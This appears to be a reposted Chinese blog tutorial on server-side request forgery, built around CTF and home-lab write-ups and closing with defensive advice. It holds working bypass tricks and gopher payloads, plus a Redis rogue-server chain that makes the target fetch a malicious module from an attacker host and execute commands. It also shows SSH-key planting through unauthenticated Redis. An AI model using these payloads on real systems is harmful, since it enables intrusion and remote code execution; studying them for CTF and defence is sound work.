1_ssrf总结
content
什么是ssrf?
简介
SSRF(Server-Side Request Forgery)漏洞是一种服务端请求伪造漏洞,攻击者在未获得服务器权限的情况下,利用服务器漏洞以服务器身份发送构造好的请求给服务器所在内网。这种攻击通常针对外部网络无法直接访问的内部系统。本文将详细解析SSRF漏洞的形成原理、攻击方式和防御措施。
原理
贴别的大佬的图
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
漏洞产生相关函数:
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
危害
内部网络扫描和攻击:
攻击者可以利用SSRF漏洞扫描受害服务器所在的内部网络,探测内部服务和系统,这些内部服务通常是外界无法访问的。
通过扫描内网,攻击者可以发现和利用内部系统的漏洞,进一步提升攻击的深度和影响力。
访问受限制的资源:
攻击者能够通过受害服务器访问受防火墙或其他网络安全措施保护的资源,例如数据库、云存储服务等。
如果攻击者能够访问到敏感数据,如用户信息、财务数据等,将对数据的保密性和完整性造成严重威胁。
横向移动和权限提升:
通过对内部网络的了解,攻击者可能会利用其他已知漏洞进行横向移动,攻击其他服务器或服务。
攻击者可能利用SSRF漏洞获取更高的权限,例如访问管理后台或执行特权操作,扩大攻击范围。
信息泄露:
攻击者可以通过SSRF漏洞获取内部服务的返回数据,进而了解服务器的配置、敏感信息或其他系统信息。
这些信息可以帮助攻击者进行进一步的攻击或社会工程学攻击。
外部资源滥用:
攻击者可以利用受害服务器向第三方资源发送恶意请求,掩盖攻击源,进行DDoS攻击、垃圾邮件发送等恶意活动。
受害服务器可能会被滥用来进行未经授权的操作,例如下载或上传恶意软件、挖矿等。
服务中断:
SSRF攻击可能导致目标服务器向自身或其他服务发送大量请求,造成服务的资源耗尽,从而导致服务中断或性能显著下降。
跨站请求伪造(CSRF)放大:
SSRF漏洞有时可以与CSRF攻击结合使用,放大攻击效果。例如,攻击者可以通过CSRF让受害者的浏览器发送SSRF请求,进一步扩展攻击面。
ssrf利用的协议
(1)file:在有回显的情况下,利用 file 协议可以读取任意内容
(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s:探测内网主机存活
利用
内网访问
ctfhub题目
提示:尝试访问位于127.0.0.1的flag.php吧
内网访问还有对应老漏洞,可以看其他大佬的复现
端口扫描
ctfhub技能树ssrf端口扫描,进去一片空白,url可以传参。题目提示端口8000到9000
爆破对应范围端口即可
GET /?url=127.0.0.1:§1§ HTTP/1.1
Host: challenge-229ec791bcdc9f8b.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
fsockopen
举例
[HNCTF 2022 WEEK2]ez_ssrf
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
fp=fsockopen(host,intval(port),$error,$errstr,30);:这行代码用于建立连接到指定的主机和端口,fsockopen 函数用于打开一个网络套接字,intval(port) 将端口号转换为整数, $error 和 $errstr 是错误信息,30 是连接超时时间。
if(!$fp) { die(); }:这行代码用于检查连接是否成功,如果连接失败,则终止脚本执行。
fwrite(fp,$data);:这行代码用于将解码后的数据发送到连接的主机。
while(!feof($data)) { echo fgets($fp,128); }:这行代码用于读取主机的响应数据,并将其输出到客户端,feof($data) 检查数据是否结束,fgets($fp,128) 读取主机的响应数据,echo 输出响应数据。
fclose($fp);:这行代码用于关闭连接。
也就是说可以发送http数据包
<?php
$a="GET /flag.php HTTP/1.1\r\n";
$b="Host: 127.0.0.1\r\n";
$c="Connection: Close\r\n\r\n";//确保在收到响应后关闭连接
echo base64_encode($a.$b.$c)."\n";
?>
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
urlbypass
一般要求前面加http/s协议。
127.0.0.0被禁止
1.Windows: 0 代表的是0.0.0.0,Linux 0代表127.0.0.1
2.Windows和Linux下127.0.0.1均可写成127.1
3.短网址:http://www.metools.info/master/shorturl180.html,https://dwz.cn/
4.ip地址16进制、8进制绕过、10进制绕过。http://www.metools.info/other/ipconvert162.html#google_vignette
5.127.⓿.⓿.1没试过,据说可以绕过。
6.127。0。0。1 可以替代127.0.0.1(Linux)
7.利用[::]绕过 http://[::]:80/ >>> http://127.0.0.1
8.可以指向任意ip的域名----xip.io,原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
9.2.添加端口号----http://127.0.0.1:8080
@绕过
url完整格式
协议类型://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
http://baidu.com@1.1.1.1就是访问http://1.1.1.1
302跳转
本地写个php
<?php
header("Location:http://xx/xxx");
命令行php -S + 你的ip:端口
然后访问你的ip+端口就会跳转到http://xx/xxx。条件是在漏洞注入点可以传参url=你的ip+端口
DNS重绑定绕过
ctfhub技能树有题目。
推荐看这个文章https://xz.aliyun.com/t/7495?time__1311=n4%2BxnD0G0%3Dit0Qei%3DNDsA3OrD9D0E2uu2MxiKx&alichlgref=https%3A%2F%2Fcn.bing.com%2F
ceye.io这个网站可以给你一个域名,你可以将这个域名和某个ip绑定,访问这个域名相当访问了对应的ip
url=绑定有ip的域名/flag.php,多传几次,不是每次都能利用成功
file协议
file协议可以读取本地文件
pikachu靶场:
dict协议
dict:// 字典服务器协议,访问字典资源,可以泄露安装软件版本信息,查看端口,操作内网redis服务等
由于我ctfhub做出来后再做一遍不知道为什么就扫不出来了,无法复现,题目就看这位大佬的吧
pikachu靶场也可以实验,比如探测80端口,我是用PHPstudy带的apache搭建的,可以看到一些信息被列出来了。
gopher协议
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议
gopher://IP:PORT/_+TCP/IP数据。_是因为gopher协议默认不发送第一个字符。
ctfhub题目。技能树ssrf部分
先试试file协议读取代码
index.php
<?php
#index.php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
<?php
#flag.php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
令url=http://127.0.0.1/flag.php,然后看源码发现key的值
from urllib import parse
payload="""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=35a767bffd303ead4f0ea75b4b5c76d2
"""
payload=parse.quote(payload)
payload=payload.replace('%0A','%0D%0A')
print("gopher://127.0.0.1:80/_"+parse.quote(payload))
构造payload,访问index.php时抓包,url=payload即可。
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%2520%250D%250A%250D%250Akey%253D35a767bffd303ead4f0ea75b4b5c76d2%250D%250A
- 工具gopherus
https://github.com/tarunkant/Gopherus
主从复制打redis
经典题目[网鼎杯 2020 玄武组]SSRFMe,复现参考https://www.freebuf.com/articles/web/293030.html
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
check_inner_ip($url)这是一个 PHP 函数,用于检查给定的 URL 是否是内网 IP 地址。下面是函数的解读:
首先,函数使用正则表达式来检查 URL 的格式是否正确。如果 URL 格式不正确,函数将退出并输出错误信息 "url fomat error"。
如果 URL 格式正确,函数将使用 parse_url 函数将 URL 解析成各个组件,包括主机名(host)。
然后,函数使用 gethostbyname 函数将主机名转换为 IP 地址。
将 IP 地址转换为整数形式,使用 ip2long 函数。
最后,函数检查整数形式的 IP 地址是否属于内网 IP 地址范围。内网 IP 地址范围包括:
127.0.0.0/8(localhost)
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
函数使用位操作符(>>)来检查 IP 地址是否在这些范围内。如果是,函数返回 true,否则返回 false。
总的来说,这个函数可以用于检查 URL 是否指向内网 IP 地址,如果是,返回 true,否则返回 false。
linux中0.0.0.0可以代替127.0.0.1.url=http://0.0.0.0/hint.php,访问得到redis密码root
用到的两个工具,
https://github.com/n0b0dyCN/redis-rogue-server
redis-rogue-server,未授权使用
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
Awsome-Redis-Rogue-Server,有授权使用
将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块
自己的vps(我上网买的,正好cloudcone促销活动)上面开启主服务
python3 redis_rogue_server.py -v -path exp.so -lport 21000
打redis常用命令
---
1. **INFO**
用于获取 Redis 服务器的信息,包括主从状态、内存使用情况等。
示例:`INFO replication`
2. **SLAVEOF**
用来设置某个 Redis 实例为另一个实例的从节点。
示例:`SLAVEOF <master-ip> <master-port>`
(注:可以用 `SLAVEOF no one` 来解除主从关系)
3. **CONFIG SET**
用来修改 Redis 配置,例如设置从节点的主节点。
示例:`CONFIG SET slaveof <master-ip> <master-port>`
其他配置示例:
- `CONFIG SET dir /root/redis`:设置保存目录。
- `CONFIG SET dbfilename redis.rdb`:设置保存文件名。
- `CONFIG SET protected-mode no`:关闭安全模式。
4. **CONFIG GET**
用来获取 Redis 的当前配置。
示例:
- `CONFIG GET dir`:查看保存目录。
- `CONFIG GET dbfilename`:查看保存文件名。
5. **PING**
用于测试与 Redis 服务器的连接,成功时返回 "PONG"。
示例:`PING`
6. **SET**
设置键值对。
示例:`SET key value`
(键的值若包含空格,需用双引号括起来,如 `"Hello World"`)
7. **MSET**
批量设置键值对。
示例:`MSET k1 v1 k2 v2 k3 v3`
8. **GET**
获取指定键的值。
示例:`GET key`
9. **MGET**
批量获取多个键的值。
示例:`MGET k1 k2 k3`
10. **INCR**
对指定键的值进行自增操作。
示例:`INCR score`
11. **KEYS**
列出当前数据库中所有的键。
示例:`KEYS *`
12. **DEL**
删除指定的键。
示例:`DEL key`
13. **FLUSHALL**
清空所有数据库中的数据。
示例:`FLUSHALL`
14. **SAVE**
手动进行一次数据保存,将数据写入到磁盘。
示例:`SAVE`
15. **EVAL**
执行 Lua 脚本,可以用来执行复杂的操作。
示例:`EVAL "your_lua_script" 0`
16. **redis-cli -h <ip> -p 6379 -a <passwd>**
用于通过 IP(或域名)和端口连接 Redis 实例。
示例:`redis-cli -h 192.168.1.1 -p 6379 -a password`
---
### 说明:
- Redis 命令**大小写不敏感**,`SET` 和 `set` 是等效的。
- 如果获取一个不存在的键,Redis 会返回 `(nil)`。
设置备份路径
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
gopher://0.0.0.0:6379/_auth root(登录)
config set dir /tmp/(将 Redis 的工作目录更改为 /tmp/,这意味着 Redis 将在该目录下保存其数据库文件)
quit(退出)
加载exp.so
重新登录 生成一个exp.so文件 在进行主从同步(ip改为本地),退出
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25201.xx.xx.xx%252021000%250d%250aquit
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so(设置Redis的备份文件名(即导出文件名)为exp.so 。默认情况下,Redis的备份文件名是dump.rdb)
slaveof 1.xx.xx.xx 21000
quit
执行之后,主从同步能够看到回显,会一直同步
加载模块
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit
关闭关闭主从同步
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit
导出数据库
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit
获取flag
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit
gopher://0.0.0.0:6379/_auth root
system.exec “cat /flag”
quit
反弹shell的方法我这边报错
string(97) "+OK -ERR unknown command `system.rev`, with args beginning with: `xxx.xxx.xxx.xxx`, `6666`, +OK "
不知道为什么T_T,就只能用第一种方法实现
打mysql
打fastcgi协议
打未授权redis
利用redis未授权漏洞,webshell写入,ssh公钥写入,计划任务反弹shell
环境搭建: centos7,kali
这里环境配了一个晚上,各种各样问题(为什么别人复现的文章好像都没问题,一到我就各种问题🤯)。
第一个是防火墙关闭,redis配置文件已经把bind 127.0.0.1注释,并且关闭安全保护模块了,kali仍然不能连接redis服务器,另一个是访问php网站没解析而是在页面源代码里面出现源码的问题。
第一个问题网上搜半天没结果,不过gpt给了一个可行方案:
如果您手动启动服务器仅用于测试,请使用’–protected-mode no’选项重新启动它。如果您手动启动服务器仅用于测试,请使用’–protected-mode no’选项重新启动它。
redis-server --protected-mode no
第二个问题https://blog.csdn.net/wkh___/article/details/83540713,当然也可以自己上网搜来解决
第三个问题(这个巨坑,搞了两天才发现是这个问题,之前还以为是centos没dict服务才导致的,还tm傻傻的看了一下午centos如何搭建字典服务),redis要注册成服务,否则dict协议探测不到:https://blog.csdn.net/q309572960/article/details/120855670
开始实验:
先在centos写个网站首页index.php:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 添加这一行以返回结果而不是直接输出
$result = curl_exec($ch);
curl_close($ch);
if ($result === false) {
echo 'Curl error: ' . curl_error($ch);
} else {
echo $result; // 输出cURL请求的结果
}
highlight_file(__FILE__);
?>
nmap 192.168.93.130无法探测到redis端口,必须指定扫描6379才探测到开放,也不知道为啥
nmap 192.168.93.130 -p 6379
kali测试联通性,存在未授权访问
测试是否存在ssrf:访问centos服务器首页:为了测试我在网站下面写了个1.txt,先http协议读取一下
读取成功可以访问内部资源
dict协议探测redis
这里还有个条件,受害机需要有.ssh目录:mkdir /root/.ssh
在攻击机中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa
.png)
进入.ssh目录,然后将生成的公钥写入 ceshi.txt 文件
cd /root/.ssh
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) >ceshi.txt
把ceshi.txt给cp到桌面或者其他好打开的地方打开
然后kali如下图执行命令,向目标机写入公钥
靶机检查是否写入
采用密钥连接靶机
当然还可以直接用脚本结合gopher协议写入密钥,这个就不太会写了,看网上大佬的吧。
还有反弹shell等姿势,可以看这位大佬的https://blog.csdn.net/unexpectedthing/article/details/121667613
Defence
-
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
-
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
-
限制请求的端口为http常用的端口,比如80,443,8080,8090等。
-
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
-
禁用危险的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://,dict:// 等引起的问题。
-
为服务器端应用程序分配最小的网络访问权限,避免使用具有高级权限的账户运行应用程序。
对于需要访问外部资源的操作,使用专门的低权限账户进行身份验证和授权。 -
对所有用户输入进行严格的验证和过滤,确保输入的数据符合预期的格式和类型。
避免直接使用用户输入来构造URL或请求参数。 -
使用经过安全验证的Web框架和库,这些框架通常已经内置了SSRF防护机制。
及时更新框架和库的版本,以获取最新的安全修复和改进。
原文地址:https://blog.csdn.net/hcja666/article/details/139273925
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!